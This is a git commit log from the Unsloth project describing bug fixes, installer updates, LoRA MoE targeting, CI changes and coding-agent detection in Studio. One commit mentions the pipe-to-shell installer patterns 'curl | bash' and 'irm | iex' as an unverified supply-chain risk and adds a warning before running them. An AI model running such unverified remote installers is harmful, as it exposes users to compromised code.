torch 2.11 cross-thread default.

* Drop the pre-existing override replay from the config thread fix

The replay was redundant: this runs from _gpu_init before unsloth sets any
dynamo/inductor config, so the __setattr__ wrapper already mirrors every
later assignment (recompile_limit included). It could also read a value
that belonged to a config.patch context still active at import time and
write that thread-local override into the global default. Removing it keeps
the cross-thread fix and drops the now-unused _inductor.config import.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 02:26:24 -07:00
Daniel Han
6d674e5cc9
unsloth start: warn before running an agent's remote installer (#7024)
When a coding agent is missing, `unsloth start <agent>` offers to run the
vendor's own installer (curl | bash, irm | iex, or npm) after an interactive
confirm. Those installers execute with the user's privileges and there is no
signature or hash check on the fetched content, so a blind "yes" is a
supply-chain risk if the delivery path is compromised.

Keep the auto-install convenience but make consent informed: before the prompt,
name the exact remote source the installer fetches (or the command it runs for a
package installer) and state that nothing verifies a signature or hash. Behavior
is otherwise unchanged: non-interactive stdin still never executes anything, and
the confirm still defaults to no.
2026-07-09 11:08:39 +02:00
Etherl
5e43c623b9
Fix FastSentenceTransformer Qwen embedding preprocessing (#6939)
* Fix FastSentenceTransformer Qwen embedding preprocessing

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Document Transformer.load embedding modality fix for #6881

* Harden #6881 fix and add forwards/backwards-compatible regression tests

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fall back to Transformer constructor on legacy sentence-transformers without Hub-capable load

* Mirror legacy sentence-transformers fallback in embedding-parity tripwire test

* Tighten #6881 comments and docstrings

* Skip embedding-parity test on CPU-only runners since FastSentenceTransformer requires CUDA

* Honor the transformer module's saved subfolder when loading

modules.json records a path for the Transformer module (root  for
decoder embedders like Qwen3-Embedding, 0_Transformer for the classic
layout). Pooling/Normalize already load from their saved path; thread the
same path into Transformer.load as subfolder so config and tokenizer
resolve like stock ST.  stays a no-op, so single-module models are
unchanged.

* Make embedding-parity test bf16-aware

fp16 overflows to NaN on bf16-native embedders such as EmbeddingGemma
(Gemma3), producing a false parity failure. Prefer bf16 when the GPU
supports it so the tripwire can guard the full documented embedding
matrix (Qwen3-Embedding, EmbeddingGemma, BGE-M3, all-MiniLM, GTE-ModernBERT),
not just fp16-safe models.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-09 01:46:22 -07:00
Daniel Han
8205d4c081
Retry the Studio UI shutdown re-login on transient goto timeout (#7027)
* Retry the Studio UI shutdown re-login on transient goto timeout

The Chat UI Playwright smoke intermittently failed at the pre-shutdown
re-login: page.goto('/login') can hit a 60s TimeoutError on a slow runner
even while the server is healthy, and the surrounding except only tolerated
ERR_ABORTED / interrupted-navigation, so a plain timeout hard-failed the job.

Wrap the re-login goto/wait/fill/submit in the same 3-attempt retry the
change-password step already uses (recover_or_replace_page between tries,
per-attempt fail screenshots, wait_for_health pre-gate). The composer wait
stays outside the loop so a retry never re-navigates after login has set
tokens (which would redirect to /chat via the guest guard); it remains the
authoritative confirmation, so a genuinely broken login still fails.

* Catch transient login-request failures and preserve error listeners on recovery

Wait on the /api/auth/login POST inside the retry (via click_and_wait_for_response)
so a transient 4xx/5xx is retried in-loop instead of surfacing only at the
out-of-loop composer wait, matching the change-password step. When
recover_or_replace_page swaps in a fresh page, re-attach the pageerror/console
listeners so error tracking survives the replacement.
2026-07-09 01:46:14 -07:00
Michael Han
1b825213ea
Stabilize floating monitor drag (#6984)
* Stabilize floating monitor drag

* Restore floating monitor exit animation

* Harden Windows Studio smoke checks

* Keep API menu badge removed

* Apply no-build-tools env overrides in-script

The runner does not apply step-level env keys containing parentheses,
so ProgramFiles(x86) kept its real value and Find-VsBuildTools still
detected VS through vswhere. Set the overrides inside each pwsh step
instead; child processes inherit them. The resolver step moves to pwsh
because bash cannot export a variable named ProgramFiles(x86).

* Reset chat UI session without a second browser context

macOS runs Chromium with --single-process, where closing the last
context tears down the whole browser, so the shutdown re-login died
with TargetClosedError on new_page. Clear cookies and swap pages
inside the same context instead, opening the replacement page before
closing the old one.

* Keep the no-build-tools Path filtered across session refreshes

install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
rebuild the session Path from the Machine and User registry scopes, so
the process-level filter could be undone mid-install and re-expose
CMake. Filter those scopes in the Prepare step with normalized dir
matching and restore them in cleanup.

* Drop stale localStorage auth tokens before re-login

Auth tokens live in localStorage, not cookies, and the login guest
guard redirects on their mere presence. Remove them during the session
reset so the /login navigation is deterministic instead of relying on
the tolerated redirect bounce.
2026-07-09 00:16:05 -07:00
Nilay
3b73cd8829
Fix per-block ID collisions and add block cleanup for unstructured uploads (#6944)
* unstructured block removal

* Enhance unstructured block handling

* Restrict block cleanup to upload UIDs

* cleanup for seed block uploads

* upload cleanup queue for unstructured blocks in recipe studio

* Fix unstructured upload cleanup edge cases

* Fix unstructured upload import ownership

* Fix-unstructured-import-path-ownership

* Guard failed-delete restore against stale block in unstructured drop zone

* Drain queued upload cleanups when autosave is skipped

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-08 20:03:03 -07:00
ramisworld
81f789ba85
Guard FP8 Triton launches with tensor device context (#6888)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-08 18:32:51 -03:00
Vineeth Sai
85a068cfe1
Fix to_sharegpt optional block rendering "None" for missing extra columns (#6827)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-08 17:57:41 -03:00
Vineeth Sai
dc4618ce47
Fix duplicate unsloth/gemma-2b-bnb-4bit mapper key routing the base 4bit repo to the instruct model (#6891) 2026-07-08 17:40:39 -03:00
Vineeth Sai
92c3e48529
Fix BAD_MAPPINGS not redirecting the -unsloth-bnb-4bit dynamic quants (#6949)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-08 17:37:44 -03:00
Michael Han
7a9fb4404e
Remove API menu new badge (#6983) 2026-07-08 08:17:09 -07:00
Michael Han
5c2e53606e
Studio: render thinking blocks for safetensors inference with prefilled <think> templates (#6816)
* Studio: render thinking blocks for safetensors inference with prefilled <think> templates

Reasoning templates like Qwen3.6 end the generation prompt with an open
<think> tag. skip_prompt streaming drops it, so the frontend never sees
the opening tag and shows reasoning as plain text. Detect the prefill
and re-emit it at the start of the stream on the transformers and MLX
paths. Also stop stripping think tags in _clean_generated_text when a
tokenizer marks them special.

* Studio: guard think re-emit for special close tags, yield prefill early

Address review feedback:
- Guard: skip re-emitting the open <think> when the tokenizer marks </think>
  as a special token, since skip_special_tokens would strip the model's close
  tag and leave an unclosed block that swallows the answer. Falls back to
  plain text (pre-fix behaviour) for those tokenizers.
- Yield the prefilled <think> before the first token so the thinking block
  renders during prompt prefill instead of after the first generated token.
- Drop the now-unnecessary _clean_generated_text think-tag exemption; the
  guard handles the special-token case at the source.

No mainstream reasoning model (Qwen3.6, Qwen3, DeepSeek-R1, QwQ, GLM-4.6)
marks think tags special, so behaviour is unchanged for them.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lyxot <longyixing331@gmail.com>
2026-07-08 08:14:03 -07:00
Daniel Han
1a274c488e
Bump install.sh / install.ps1 pins to unsloth>=2026.7.2 and unsloth-zoo>=2026.7.2 (#6981)
PyPI release unsloth 2026.7.2 is now live. Bumps the pinned floor in
install.sh and install.ps1 from 2026.7.1 to 2026.7.2 for both unsloth and
unsloth-zoo across all 5 install commands (no-torch / reinstall / upgrade /
local / auto torch backend paths) so fresh installs resolve to the new wheel.

Follows the same pattern as #5716.
2026-07-08 07:51:53 -07:00
Daniel Han
116ce48c1a
Studio: allow CPU-only DiffusionGemma by granting the diffusion runner the CPU device (#6979)
* Studio: allow CPU-only DiffusionGemma by granting the diffusion runner the CPU device

* Studio: mark CPU-only DiffusionGemma as non-GPU-resident for training VRAM preflight

* Studio: keep the CPU DiffusionGemma change minimal (revert VRAM-flag tweak; Metal hosts still hold unified memory)

* Studio: keep CPU DiffusionGemma fallback fully CPU-masked so a masked GPU host does not re-expose GPU 0
2026-07-08 07:26:10 -07:00
Daniel Han
3d41e5868d
Add has_blackwell_gpu to the mlx worker test's wheel_utils stub (#6980)
worker.py imports has_blackwell_gpu from utils.wheel_utils, but _load_worker_module
stubs utils.wheel_utils with a fixed name tuple that omitted it, so loading the worker
raised ImportError (cannot import name 'has_blackwell_gpu') and Backend CI could not
collect test_mlx_training_worker_config.py. Add the name to the stub so it matches
worker.py's imports.
2026-07-08 07:22:54 -07:00
Daniel Han
38ea267124 Versioning 2026-07-08 06:51:58 -07:00
Thomas Eric 🇧🇷
03cbe211a3
Studio: fix flash-attn and torchao install on Blackwell (sm_100+) GPUs (Closes #6961) (#6970)
* fix: Remove moot has_blackwell_gpu() function

Fixes unslothai/unsloth#6961. This function skipped flash-attn on Blackwell GPUs because no prebuilt wheel existed;
Dao-AILab now ships one and url_exists() already gates resolution.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* fix: use torchao 0.17.0 for Blackwell

Fixes #6961. Torchao 0.16.0's cpp extensions are built against CUDA 12, so on a CUDA-13
torch (cu130 / Blackwell) they fail to load with "libcudart.so.12: cannot
open shared object file". Select 0.17.0 there instead: its cpp targets torch
2.11, so it is skipped cleanly rather than crashing. CUDA-12 / ROCm / CPU
torch 2.10 keeps 0.16.0 and its working kernels.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* Condense torchao version-selection comments (no behavior change)

* Support torch 2.11 in the Studio installer via the torch2.10 prebuilt wheels

Map torch 2.11 to the torch2.10 prebuilt wheels for flash-attn, causal-conv1d,
and mamba through wheel_utils.prebuilt_wheel_torch_mm, applied in direct_wheel_url
(filename) and flash_attn_wheel_url (version). Those torch2.10 CUDA wheels load and
pass each project's own test suite on torch 2.11 (verified on B200), so a torch 2.11
environment gets the prebuilt accelerators instead of skipping or building from source.

Raise _CUDA_TORCH_PKG_SPEC to <2.12.0 (torchvision <0.27.0, torchaudio <2.12.0) so
the CUDA torch repair path can install torch 2.11, where torchao 0.17's cpp kernels
load cleanly. Add tests for the mapping.

* Keep has_blackwell_gpu as a False stub for future arch gating

* Restore has_blackwell_gpu as a return-False probe kept for future arch gating

Keep the nvidia-smi compute_cap detection and its two call sites, but short-circuit
with return False at the top so flash-attn is no longer skipped on Blackwell (sm_100+
now has prebuilt wheels and url_exists gates resolution). Drop the early return to
re-enable arch-based detection later.

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-08 06:38:10 -07:00
Daniel Han
62a6eb2a3d
MoE LoRA: auto-target per-expert Linear experts (gpt-oss 4bit) instead of leaving them frozen (#6936)
* models: auto-target per-expert Linear MoE experts for LoRA (gpt-oss 4bit)

MoE checkpoints whose experts are stored as per-expert nn.Linear ModuleLists
could not receive expert LoRA. gpt-oss bnb-4bit is the canonical case: its
experts live at mlp.experts.gate_up_projs.<i> and mlp.experts.down_projs.<i> as
per-expert Linear4bit modules, not a fused nn.Parameter. The target_parameters
path only handles the fused nn.Parameter layout, and the plain
gate_proj/up_proj/down_proj leaf names do not match the per-expert indices, so
get_peft_model attached LoRA to attention only and left every expert frozen
(0 of 1536 on gpt-oss-20b) even though the grouped bnb-4bit training forward
exists.

Add get_moe_target_modules, the module-LoRA counterpart of
get_moe_target_parameters: it detects per-expert Linear ModuleLists under an
experts container and returns their suffix target_modules names
(gate_up_projs.<i> / down_projs.<i>). get_peft_model in both llama.py and
vision.py extends target_modules with these, handling the explicit leaf-list
form and the regex form (auto / all-linear / scoped). It is gated on the same
MLP-in-scope condition as the parameter path, so an attention-only request still
skips the experts.

Also gate get_moe_target_parameters on the fused parameter actually existing, so
a per-expert-Linear layout no longer produces a dead target_parameters path or a
misleading "Enabling LoRA on MoE parameters" line; those experts are handled
through target_modules instead.

Validated on gpt-oss-20b-unsloth-bnb-4bit (transformers 5.5.0): experts attach
(1536 modules, trainable 0.036 percent to 1.65 percent) across the default, None
and all-linear paths; training memorizes and the LoRA adapter reproduces exactly
after a cold reload in a fresh process. No regression: fused-parameter MoEs
(Qwen3-30B-A3B-4bit), non-MoE models, and attention-only requests are unaffected
(get_moe_target_modules returns an empty list).

Merging these per-expert adapters into a merged_16bit checkpoint is handled by a
companion unsloth-zoo change (saving_utils folds each per-expert delta into the
fused gate_up_proj / down_proj tensor). With both, the LoRA adapter and the
merged_16bit checkpoint reload the trained behavior identically.

* models: scope per-expert MoE targets, keep repeat get_peft_model idempotent, warn on old zoo

Address review of the per-expert Linear MoE targeting:

- Scope get_moe_target_modules to the requested projection leaves (gate/up map to
  the gate_up ModuleList, down maps to the down ModuleList), so a narrowed request
  such as target_modules=["down_proj"] no longer also trains gate_up_projs, matching
  get_moe_target_parameters.
- Detect experts through a PEFT-wrapped base_layer as well, and recompute the
  auto-added expert targets in the llama.py existing-adapter check, so a repeat
  get_peft_model call with the same arguments stays idempotent instead of raising on
  the saved expert targets.
- Warn when the installed unsloth_zoo cannot fold these per-expert experts into a
  merged_16bit checkpoint (older releases keep the fused gate_up_proj / down_proj
  tensors and drop the per-expert deltas), so the expert LoRA is not silently lost on
  save_pretrained_merged; the fold lands in unsloth-zoo #885. The LoRA adapter itself
  is unaffected.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-08 05:57:44 -07:00
Tai An
d0c8d550a6
fix(studio/hub): apply repo_id length limit per segment, not whole string (#6946) (#6953)
* fix(studio/hub): apply repo_id length limit per segment, not whole string

is_valid_repo_id() applied the 96-char limit to the full "namespace/repo_name"
string, so a repo with a valid (<=96 char) name but a long combined id was
falsely rejected. Match huggingface_hub.validate_repo_id by checking the length
per segment instead. Fixes #6946.

* Fix long repo id state filenames

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-08 15:38:06 +03:00
oobabooga
fcb1152c76
Studio: source CPU llama.cpp prebuilts from unslothai/llama.cpp (#6311)
* Studio: source CPU llama.cpp prebuilts from the unslothai fork

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: reject unknown Linux CPU arches and keep ROCm-tooling hosts off the CPU prebuilt

* Studio: extend the resolve-prebuilt ROCm-tooling guard to Windows

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: let ROCm-SDK-only CPU hosts take the fork CPU prebuilt

* Studio: accept windows-arm64 prebuilt kind and refresh stale fork-routing comments

* Studio: correct stale fork-routing comments and --resolve-prebuilt help

* Refresh stale ggml-org routing comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-08 05:34:59 -07:00
Daniel Han
41dd95ea0a
Studio: don't pin transformers before the training worker activates the 5.x sidecar (#6968)
* Studio: keep transformers off sys.modules until the training worker activates the sidecar

The training worker (core/training/worker.py:run_training_process) decides the per-worker
Xet env flip during preflight by importing utils/hf_xet_fallback.py, which eagerly imported
unsloth_zoo at module load. unsloth_zoo's __init__ imports transformers, so the default
transformers 4.57.x was cached in sys.modules before activate_transformers_for_subprocess
prepended the 5.x sidecar to sys.path. Since activation only edits sys.path, the already
cached module won, and 5.x models failed to load their tokenizer or config:
  - Qwen3.5 / GLM-4.7 (tokenizer_class TokenizersBackend): "Tokenizer class TokenizersBackend
    does not exist or is not currently imported."
  - gemma-4: "... is not supported yet in transformers==4.57.6."

Fix: load the shared unsloth_zoo backend lazily (only when a heavy download helper is first
used, which is after activation). child_should_disable_xet and the DEFAULT_* constants are
defined locally so importing the shim stays light. The download wrappers, the DownloadStallError
class, start_watchdog and get_hf_download_state resolve the shared backend on first use, and the
degraded no-unsloth_zoo fallback is preserved.

Tests:
  - test_hf_xet_fallback.py: existing suite kept green via the restored _shared_* seam; the
    GPU-init retry test now triggers the lazy load explicitly; new guard asserts importing
    child_should_disable_xet does not import transformers/unsloth_zoo.
  - test_training_worker_import_discipline.py: new invariant test that the worker preflight
    imports leave transformers unimported, so this class of regression cannot return silently.
    Runs in studio-backend-ci (CPU only, no network/GPU/weights).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: CPU-only guard that activation switches transformers to the model's sidecar version

Adds test_worker_activates_correct_transformers.py: runs the real worker preflight
(from utils.hf_xet_fallback import child_should_disable_xet) plus the real tier
detection and activate_transformers_for_subprocess for a transformers-5.x model
(Qwen3.5, tier 530), then asserts the in-process transformers actually switched to
the 5.x sidecar. A stale pre-activation import leaves 4.57.x pinned and fails the
assertion, which is exactly the TokenizersBackend regression (#6951).

Self-contained CUDA spoof (mirrors tests/_zoo_aggressive_cuda_spoof.py) forces
unsloth_zoo down its full, transformers-importing init path on a GPU-less runner;
without it unsloth_zoo degrades and never preloads transformers, masking the bug.
A one-line stub sidecar stands in for the 5.x venv, so no GPU, network, weights, or
real sidecar are needed. Passes on this fix, fails on buggy main.

* Studio: load the repo's canonical CUDA spoof in the correct-version guard

Load tests/_zoo_aggressive_cuda_spoof.py (the committed spoof the consolidated CI
already relies on) as the single source of truth so the guard matches CI and stays
robust on a CPU-only torch wheel, where a partial hand-rolled spoof could miss a
torch.cuda call and let the unsloth_zoo import raise (masking the bug). Falls back to
a minimal inline spoof for a standalone studio checkout. Verified: passes on this fix,
fails on buggy main, and the fallback path passes when the spoof file is absent.

* Studio: declare the lazily-resolved xet names so ruff F822 stays green

DownloadStallError, start_watchdog and get_hf_download_state are provided via the
module __getattr__ (PEP 562), so ruff F822 flagged them as undefined names in __all__
and the Source-lint / pre-commit checks went red. Add annotation-only declarations
(no value bound, so __getattr__ still resolves them lazily to the shared unsloth_zoo
backend) to mark them defined for the linter while keeping F822 active for the rest
of __all__.

* Studio: tighten comments on the sidecar-activation fix and its tests

* Studio: mirror the new MLX-dispatch preflight import in the import-discipline guard

The worker preflight now also runs 'from core.training.training import
is_apple_silicon_training_platform, should_use_mlx_training_backend' before it
activates the transformers sidecar. Add that import (guarded) to the guard's
preflight snippet so the invariant test stays a faithful mirror: a future change
that makes core.training.training pull transformers/unsloth_zoo eagerly would then
be caught too. Verified clean on the current tree (no leak).

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-08 05:33:16 -07:00
ErenAta16
e86b7874d4
feat: detect installed coding agent CLIs in Studio settings (#6909)
* feat: detect installed coding agent CLIs in Studio settings

The API-keys panel only ever showed the "claude" flavor of the
`unsloth start` command, so anyone using Codex, OpenCode, OpenClaw,
Hermes, or Pi had to manually rewrite the copied command by hand.

Add a backend check that looks for each agent's CLI binary on PATH
(shutil.which, mirroring the pattern already used elsewhere in
studio/backend/utils) and expose it as GET /api/settings/coding-agents.
The API-keys panel now renders a picker for all six supported agents,
marks the ones it finds installed, and defaults to one of those instead
of always falling back to claude.

Includes unit tests for the detection helper.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* address review feedback on coding-agent detection

Three fixes from PR review:

- detect_installed_coding_agents now treats a PATH lookup failure as
  "not installed" instead of letting it bubble up and break the
  settings endpoint; added a regression test for it.
- CodingAgentsResponse.agents is now typed as an immutable tuple
  instead of a list built from one, matching CODING_AGENTS itself.
- Fixed a race in the API-keys panel: picking an agent while the
  installed-CLI check is still in flight could get silently overwritten
  once that check resolved. A ref now tracks whether the user has made
  a manual choice, so the auto-detected default only applies before
  that happens.

* Address Codex feedback: GGUF gating and remote-detection scope

- codex refuses to launch against a non-GGUF (transformers-backed) model
  (unsloth_cli's _require_gguf_for_codex), so auto-defaulting to it produced
  a copy-pasteable command that fails immediately whenever the loaded model
  isn't GGUF. Add useActiveModelIsGguf() (looks up the active checkpoint in
  the chat runtime store) and a correction effect that steers the auto-pick
  away from codex unless the loaded model qualifies, without ever touching a
  choice the user made by hand.
- Detection runs via shutil.which on the Studio backend host, which isn't
  the same machine as the browser in a tunnel/remote session. Reword the
  'installed'/'detected' copy to say so explicitly when the tunnel URL is
  in use, instead of implying the check ran on the viewer's own device.

* Rework auto-default per review: loopback gating + inline GGUF check

Replaces the previous approach with the exact shape discussed on the PR:

- Export isLoopbackHost/normalizeHost from agent-command.ts. The detection
  endpoint runs shutil.which on the Studio backend, which only describes the
  browser's own machine when the base this panel targets resolves to
  loopback. For a LAN or tunnel/remote base, gate the whole thing off --
  don't mark anything as "detected" and don't let it drive the default --
  instead of just relabeling the copy.
- Drop the separate GGUF-correction effect and useActiveModelIsGguf hook.
  Read useChatRuntimeStore.getState().activeGgufVariant inline inside the
  existing detection effect's .then() (so it doesn't need to sit in the
  effect's deps), and pick the first detected agent that isn't codex unless
  the loaded model is GGUF, leaving the existing default untouched when no
  compatible agent is detected.

Verified both branches (loopback vs LAN/tunnel base, gguf vs non-gguf,
manual pick preserved, no-compatible-agent fallback) with a standalone
port of the .then() logic.

* Address latest Codex findings: stale detection, model swap, cache

- Clear detectedAgents (and skip the network call entirely) when the panel
  leaves a loopback base, instead of leaving a previous loopback detection
  result marked 'installed' for a command that now targets a LAN/tunnel/
  remote host.
- Add a separate, network-free correction effect keyed on the live
  activeGgufVariant: if codex was auto-picked while a GGUF model was loaded
  and the user then switches to a transformers-backed model while this panel
  stays mounted, steer away from codex instead of leaving a command that
  unsloth_cli's _require_gguf_for_codex will now reject. Never touches a
  manual pick.
- Drop coding-agents.ts's module-lifetime cache. Installed-CLI detection is
  environment state, not a persisted setting, so a stale positive/negative
  from before the user installed something (or reopened the tab) is worse
  than one extra cheap local API call per mount; keep only the in-flight
  de-dupe for concurrent callers.

Verified the correction-effect logic (gguf->non-gguf swap with/without a
fallback, still-gguf no-op, manual pick never overridden) with a standalone
port of the effect.

* Make the codex/GGUF auto-pick symmetric in both directions

The correction effect only steered away from codex when the model stopped
being GGUF; it never steered back toward codex if the model became GGUF
*after* a non-GGUF-gated fallback had already picked something else (e.g.
codex is the only detected CLI, a transformers model is loaded so the
selection correctly falls back to the claude default, then the user loads a
GGUF model while the panel stays mounted -- codex never gets reconsidered).

Consolidate into one effect that re-derives the preferred detected agent
from scratch whenever detectedAgents or activeGgufVariant changes, in either
direction, instead of only reacting to the codex-specific downgrade case.
The fetch effect now only populates detectedAgents/availableAgents; this
effect is the single source of truth for what gets auto-picked from that
list. Never overrides a manual choice.

Verified both transition directions plus the manual-pick-survives and
initial-detection cases with a standalone port of the derivation logic.

* Reset the auto-pick to the default when it stops being trustworthy

Two more real gaps from the latest Codex pass on d988f52:

- The unified derivation effect only handled the case where a *different*
  detected agent could take over. If codex was the only detected agent and
  auto-picked while a GGUF model was loaded, then the model stopped being
  GGUF, 'preferred' came back undefined and the effect silently left the
  selection on codex -- exactly the command unsloth_cli's
  _require_gguf_for_codex now rejects. Fall back to DEFAULT_AGENT in that
  case instead of leaving it untouched.
- Leaving a loopback base cleared detectedAgents (so the 'installed' badges
  correctly disappear) but left whatever agent had been auto-picked from
  that now-stale, server-side-only detection still selected. Reset to
  DEFAULT_AGENT there too, unless the user picked by hand.

Introduces a shared DEFAULT_AGENT constant instead of repeating the "claude"
literal at each reset site. Verified all five cases (both new resets, both
manual-pick-survives variants, and the existing multi-detected-agent
fallback still preferring another compatible agent over resetting) with a
standalone port of the effects.

* Derive GGUF-ness from the actual loaded state, not just the variant string

activeGgufVariant only covers an HF-repo GGUF pick (a specific quant
variant string). A direct local .gguf file -- custom folder, LM
Studio, or drag-drop -- is just as much a GGUF the codex preflight
(unsloth_cli's _require_gguf_for_codex) would accept, but it never has
a "variant" to report, so it read as non-GGUF here even though
/api/inference/status correctly reports is_gguf: true for it. That
mismatch could leave a Codex-only install not auto-selected, or reset
an auto-picked Codex, for a model that actually supports it.

Combined activeGgufVariant with activeNativePathToken (covers the
drag-drop/picked-file case) and ggufContextLength (only ever populated
when the backend last reported is_gguf: true for the active model, see
applyActiveModelStatusToStore) so all three paths a model can be GGUF
through are covered, matching the same is_gguf-or-equivalent check
hasGgufSource already applies to a staged pick elsewhere in this
codebase.

* Clear stale native-path token on a non-GGUF status refresh

When a native (drag-dropped or picked) GGUF was loaded and the backend later
switches to a transformers model outside the UI load path, refresh() adopts the
new /api/inference/status via setCheckpoint and applyActiveModelStatusToStore.
Those reset activeGgufVariant and ggufContextLength but never clear
activeNativePathToken, so the isGguf OR stays true after the switch and a
Codex-only detection auto-selects unsloth start codex for a non-GGUF model its
preflight rejects.

Drop activeNativePathToken in applyActiveModelStatusToStore whenever the status
is non-GGUF. A real GGUF load reports is_gguf: true, so its token is preserved
(the load path owns it); only a non-GGUF status clears it.

* Add the AGPL-3.0 header to the new studio contract test

* Fix/adjust agent detection for PR #6909

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
2026-07-08 05:26:50 -07:00
Lee Jackson
6ef0936180
Fix OpenClaw start default to local TUI (#6937)
* fix: launch OpenClaw local TUI by default

* Fix/adjust OpenClaw launch paths for PR #6937

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Default OpenClaw to the local TUI only on a bare invocation

The first-arg startswith('-') branch rewrote passthrough globals into a broken
command: OpenClaw's grammar is openclaw [--dev] [--profile <name>] <command>, so
'unsloth start openclaw --profile test' became 'openclaw tui --local --profile
test', but tui does not accept --profile (or --dev), so the invocation failed.

A leading '--flag value' is ambiguous between a global (--profile test) and a tui
option (--message hi), so it cannot be reinterpreted safely. Default to the local
TUI only when no passthrough args are given, and forward everything else verbatim
so OpenClaw parses it under its own grammar. The bare-launch default (the point
of this change) is preserved; explicit subcommands and global flags pass through.

---------

Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
2026-07-08 04:25:42 -07:00
Daniel Han
0e1ed88bb8
version-compat CI: fake CPU training runs for SFT/GRPO/DPO (#6965)
* version-compat CI: fake CPU training runs for SFT/GRPO/DPO

Adds a runtime layer on top of the patch-run canary: actually runs
trainer.train() for a couple of steps on a CPU-only runner under the CUDA
spoof, wrapping a plain tiny HF model in the Unsloth-patched trainer. Exercises
the real train() loop (collation, generation, the injected
_get_per_token_logps_and_entropies, loss, backward, optimizer) so a TRL or
transformers change that breaks the loop at runtime -- not just the source
structure -- surfaces here. No GPU, no meaningful numerics.

Needs a chain of small CPU shims (eager torch.compile, dynamo suppress, cuda
tensor-alloc redirect to CPU, model.for_training/for_inference equivalents)
documented inline. Does not exercise Unsloth's Triton/GPU kernels (CPU can't).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* cpu fake-train: force adamw_torch + disable dynamo for CPU runner

On a real CPU-build torch runner (GitHub CI) two things bit that a CUDA-build
torch with GPUs hidden masked locally:

- The default optimizer is adamw_8bit (bitsandbytes), whose is_on_gpu() check
  dies on CPU tensors. Force optim=adamw_torch in all three configs.
- import unsloth reinstalls the real torch.compile over the eager passthrough,
  so the GRPO hot path (chunked_selective_log_softmax) actually compiles and
  inductor picks the spoofed CUDA device, crashing on device props
  (gcnArchName). Re-apply the eager passthrough after import and flip
  torch._dynamo.config.disable so every @torch.compile runs eager at call time.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* cpu fake-train: write checkpoints under pytest tmp_path

Use pytest's tmp_path for each trainer's output_dir instead of a hardcoded
relative temp/ci_* path, so a local pytest run does not leave untracked dirs in
the repo tree and the tests are CWD-independent.

* version-compat CI: disable dynamo at process level for the fake-run job

Set TORCHDYNAMO_DISABLE / TORCH_COMPILE_DISABLE in the fake-run step env so
dynamo/inductor is off before conftest.py's early import unsloth, not only via
the per-test runtime shim. Defense in depth on the GPU-less runner: the GRPO
hot path never compiles regardless of when its functions were decorated.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-08 04:06:28 -07:00
marcandrelarochelle
07c8bbbf5a
(GRPO) Fix PEFT replacement for TRL >= 1.7.0, add missing compute_aux_loss for TRL >= 1.7.0 (#6904)
* Fix PEFT replacement for TRL >= 1.7.0, add missing compute_aux_loss for TRL 1.7.0

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix GRPO for TRL >= 1.7.0: PEFT ref-adapter removal and return arity

rl.py: for trl >= 1.7.0, scope the PEFT removal regex to the ref-adapter
block only by anchoring the end on ref_param.data.copy_(param.data), so it
no longer also deletes the following gradient-checkpointing
